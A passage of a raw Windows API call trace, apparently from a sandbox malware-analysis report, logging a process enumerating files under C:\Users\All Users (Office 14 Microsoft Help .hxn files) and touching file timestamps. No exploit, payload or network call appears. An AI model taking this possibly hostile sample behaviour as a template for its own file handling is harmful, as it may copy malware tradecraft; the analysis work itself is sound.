nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.418] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.418] GetLastError () returned 0x12 [0092.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.419] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.419] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0092.419] GetLastError () returned 0x12 [0092.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.419] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0092.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.420] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0092.420] GetLastError () returned 0x12 [0092.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.420] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0092.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0092.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="")) returned 1 [0092.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.421] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help" (normalized: "c:\\users\\all users\\microsoft help"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.422] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help" (normalized: "c:\\users\\all users\\microsoft help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0092.422] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0092.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.423] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0092.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.423] NtClose (Handle=0x124) returned 0x0 [0092.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0092.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.424] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0092.426] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.426] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x896b9210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x896b9210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.hxn", cAlternateFileName="")) returned 1 [0092.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8c78 [0092.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0092.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.428] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8c98 [0092.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.430] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8cb8 [0092.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9e00) returned 0x1386570 [0092.433] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8cd8 [0092.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.435] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd822070, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8cf8 [0092.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.437] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11446a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8d18 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1146cbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e3ad0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2689510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26af670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5269fec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.439] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.SHAPESHEET.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_PRM.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_STD.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, 